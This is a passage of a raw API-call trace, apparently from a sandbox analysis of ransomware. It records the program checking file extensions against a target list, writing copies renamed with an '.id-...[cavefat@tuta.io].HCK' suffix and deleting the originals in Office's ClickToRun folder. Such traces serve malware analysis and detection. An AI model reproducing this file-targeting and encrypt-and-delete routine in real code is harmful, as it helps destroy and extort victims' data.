1 [0161.914] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 1 [0161.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0161.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0161.915] lstrlenW (lpString=".doc") returned 4 [0161.915] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString=".docx") returned 5 [0161.915] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0161.915] lstrlenW (lpString=".pdf") returned 4 [0161.915] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString=".xls") returned 4 [0161.915] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString=".xlsx") returned 5 [0161.915] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0161.915] lstrlenW (lpString=".ppt") returned 4 [0161.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0161.915] lstrlenW (lpString=".zip") returned 4 [0161.915] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString=".rar") returned 4 [0161.915] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString=".bz2") returned 4 [0161.915] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.915] lstrlenW (lpString=".7z") returned 3 [0161.915] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0161.915] lstrlenW (lpString=".dbf") returned 4 [0161.915] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0161.915] lstrlenW (lpString=".1cd") returned 4 [0161.915] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0161.915] lstrlenW (lpString=".jpg") returned 4 [0161.915] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0161.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0161.915] lstrlenW (lpString=".doc") returned 4 [0161.915] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString=".docx") returned 5 [0161.915] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0161.915] lstrlenW (lpString=".pdf") returned 4 [0161.915] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString=".xls") returned 4 [0161.915] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString=".xlsx") returned 5 [0161.915] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0161.915] lstrlenW (lpString=".ppt") returned 4 [0161.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0161.915] lstrlenW (lpString=".zip") returned 4 [0161.915] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString=".rar") returned 4 [0161.915] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0161.915] lstrlenW (lpString=".bz2") returned 4 [0161.916] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0161.916] lstrlenW (lpString=".7z") returned 3 [0161.916] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0161.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0161.916] lstrlenW (lpString=".dbf") returned 4 [0161.916] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0161.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0161.916] lstrlenW (lpString=".1cd") returned 4 [0161.916] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0161.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0161.916] lstrlenW (lpString=".jpg") returned 4 [0161.916] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0161.916] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0161.916] lstrlenW (lpString="AppVShNotify.exe") returned 16 [0161.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.916] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=263896) returned 1 [0161.916] CloseHandle (hObject=0x388) returned 1 [0161.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0161.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.917] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.917] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0161.917] GetLastError () returned 0x0 [0161.917] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x406d8, lpOverlapped=0x0) returned 1 [0162.195] WriteFile (in: hFile=0x3ac, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x406e0, lpOverlapped=0x0) returned 1 [0162.215] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.216] WriteFile (in: hFile=0x3ac, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf4, lpOverlapped=0x0) returned 1 [0162.216] SetEndOfFile (hFile=0x3ac) returned 1 [0162.216] CloseHandle (hObject=0x3ac) returned 1 [0162.242] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.242] SetEndOfFile (hFile=0x388) returned 1 [0162.244] CloseHandle (hObject=0x388) returned 1 [0162.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0162.244] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1 [0162.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0162.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0162.245] lstrlenW (lpString=".doc") returned 4 [0162.245] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0162.245] lstrlenW (lpString=".docx") returned 5 [0162.245] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0162.245] lstrlenW (lpString=".pdf") returned 4 [0162.245] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0162.245] lstrlenW (lpString=".xls") returned 4 [0162.245] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0162.245] lstrlenW (lpString=".xlsx") returned 5 [0162.245] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0162.245] lstrlenW (lpString=".ppt") returned 4 [0162.245] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0162.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0162.245] lstrlenW (lpString=".zip") returned 4 [0162.245] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0162.245] lstrlenW (lpString=".rar") returned 4 [0162.245] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0162.245] lstrlenW (lpString=".bz2") returned 4 [0162.245] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0162.245] lstrlenW (lpString=".7z") returned 3 [0162.245] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0162.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0162.245] lstrlenW (lpString=".dbf") returned 4 [0162.245] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0162.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0162.245] lstrlenW (lpString=".1cd") returned 4 [0162.245] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0162.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0162.245] lstrlenW (lpString=".jpg") returned 4 [0162.245] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0162.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0162.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0162.245] lstrlenW (lpString=".doc") returned 4 [0162.245] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0162.245] lstrlenW (lpString=".docx") returned 5 [0162.245] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0162.245] lstrlenW (lpString=".pdf") returned 4 [0162.245] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0162.245] lstrlenW (lpString=".xls") returned 4 [0162.245] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0162.246] lstrlenW (lpString=".xlsx") returned 5 [0162.246] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0162.246] lstrlenW (lpString=".ppt") returned 4 [0162.246] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0162.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0162.246] lstrlenW (lpString=".zip") returned 4 [0162.246] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0162.246] lstrlenW (lpString=".rar") returned 4 [0162.246] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0162.246] lstrlenW (lpString=".bz2") returned 4 [0162.246] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0162.246] lstrlenW (lpString=".7z") returned 3 [0162.246] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0162.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0162.246] lstrlenW (lpString=".dbf") returned 4 [0162.246] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0162.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0162.246] lstrlenW (lpString=".1cd") returned 4 [0162.246] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0162.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0162.246] lstrlenW (lpString=".jpg") returned 4 [0162.246] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0162.246] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0162.246] lstrlenW (lpString="C2R64.dll") returned 9 [0162.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.246] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1208928) returned 1 [0162.246] CloseHandle (hObject=0x388) returned 1 [0162.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0162.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.247] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.247] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0162.247] GetLastError () returned 0x0 [0162.247] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0162.711] WriteFile (in: hFile=0x3ac, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0163.097] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x27270, lpOverlapped=0x0) returned 1 [0163.105] WriteFile (in: hFile=0x3ac, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x27280, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x27280, lpOverlapped=0x0) returned 1 [0163.110] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.110] WriteFile (in: hFile=0x3ac, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe6, lpOverlapped=0x0) returned 1 [0163.110] SetEndOfFile (hFile=0x3ac) returned 1 [0163.110] CloseHandle (hObject=0x3ac) returned 1 [0163.389] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.389] SetEndOfFile (hFile=0x388) returned 1 [0163.390] CloseHandle (hObject=0x388) returned 1 [0163.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0163.390] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 1 [0163.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0163.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0163.391] lstrlenW (lpString=".doc") returned 4 [0163.391] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0163.391] lstrlenW (lpString=".docx") returned 5 [0163.391] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0163.391] lstrlenW (lpString=".pdf") returned 4 [0163.391] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0163.391] lstrlenW (lpString=".xls") returned 4 [0163.391] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0163.391] lstrlenW (lpString=".xlsx") returned 5 [0163.391] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0163.391] lstrlenW (lpString=".ppt") returned 4 [0163.391] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0163.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0163.391] lstrlenW (lpString=".zip") returned 4 [0163.391] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0163.391] lstrlenW (lpString=".rar") returned 4 [0163.391] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0163.391] lstrlenW (lpString=".bz2") returned 4 [0163.391] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0163.391] lstrlenW (lpString=".7z") returned 3 [0163.391] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0163.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0163.391] lstrlenW (lpString=".dbf") returned 4 [0163.391] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0163.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0163.391] lstrlenW (lpString=".1cd") returned 4 [0163.391] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0163.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0163.391] lstrlenW (lpString=".jpg") returned 4 [0163.391] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0163.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0163.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0163.391] lstrlenW (lpString=".doc") returned 4 [0163.391] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0163.391] lstrlenW (lpString=".docx") returned 5 [0163.391] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0163.391] lstrlenW (lpString=".pdf") returned 4 [0163.392] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0163.392] lstrlenW (lpString=".xls") returned 4 [0163.392] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0163.392] lstrlenW (lpString=".xlsx") returned 5 [0163.392] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0163.392] lstrlenW (lpString=".ppt") returned 4 [0163.392] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0163.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0163.392] lstrlenW (lpString=".zip") returned 4 [0163.392] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0163.392] lstrlenW (lpString=".rar") returned 4 [0163.392] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0163.392] lstrlenW (lpString=".bz2") returned 4 [0163.392] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0163.392] lstrlenW (lpString=".7z") returned 3 [0163.392] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0163.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0163.392] lstrlenW (lpString=".dbf") returned 4 [0163.392] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0163.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0163.392] lstrlenW (lpString=".1cd") returned 4 [0163.392] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0163.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0163.392] lstrlenW (lpString=".jpg") returned 4 [0163.392] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0163.392] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0163.392] lstrlenW (lpString="mso40uires.dll") returned 14 [0163.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0163.392] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3177152) returned 1 [0163.392] CloseHandle (hObject=0x388) returned 1 [0163.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0163.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0163.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0163.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0163.393] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc64 | out: lpNewFilePointer=0x0) returned 1 [0163.393] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc24 | out: lpNewFilePointer=0x0) returned 1 [0163.393] ReadFile (in: hFile=0x388, lpBuffer=0x3902058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fc30, lpOverlapped=0x0 | out: lpBuffer=0x3902058*, lpNumberOfBytesRead=0x2d4fc30*=0x40000, lpOverlapped=0x0) returned 1 [0163.397] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1028ea, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc24 | out: lpNewFilePointer=0x0) returned 1 [0163.397] ReadFile (in: hFile=0x388, lpBuffer=0x3942058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fc30, lpOverlapped=0x0 | out: lpBuffer=0x3942058*, lpNumberOfBytesRead=0x2d4fc30*=0x40000, lpOverlapped=0x0) returned 1 [0163.404] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d4fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.404] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x2c7ac0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc24 | out: lpNewFilePointer=0x0) returned 1 [0163.404] ReadFile (in: hFile=0x388, lpBuffer=0x3982058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fc30, lpOverlapped=0x0 | out: lpBuffer=0x3982058*, lpNumberOfBytesRead=0x2d4fc30*=0x40000, lpOverlapped=0x0) returned 1 [0163.424] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.424] WriteFile (in: hFile=0x388, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2d4fca8, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0163.432] SetEndOfFile (hFile=0x388) returned 1 [0163.433] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e16020 [0163.841] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc74 | out: lpNewFilePointer=0x0) returned 1 [0163.841] WriteFile (in: hFile=0x388, lpBuffer=0x3e16020*, nNumberOfBytesToWrite=0x40000, 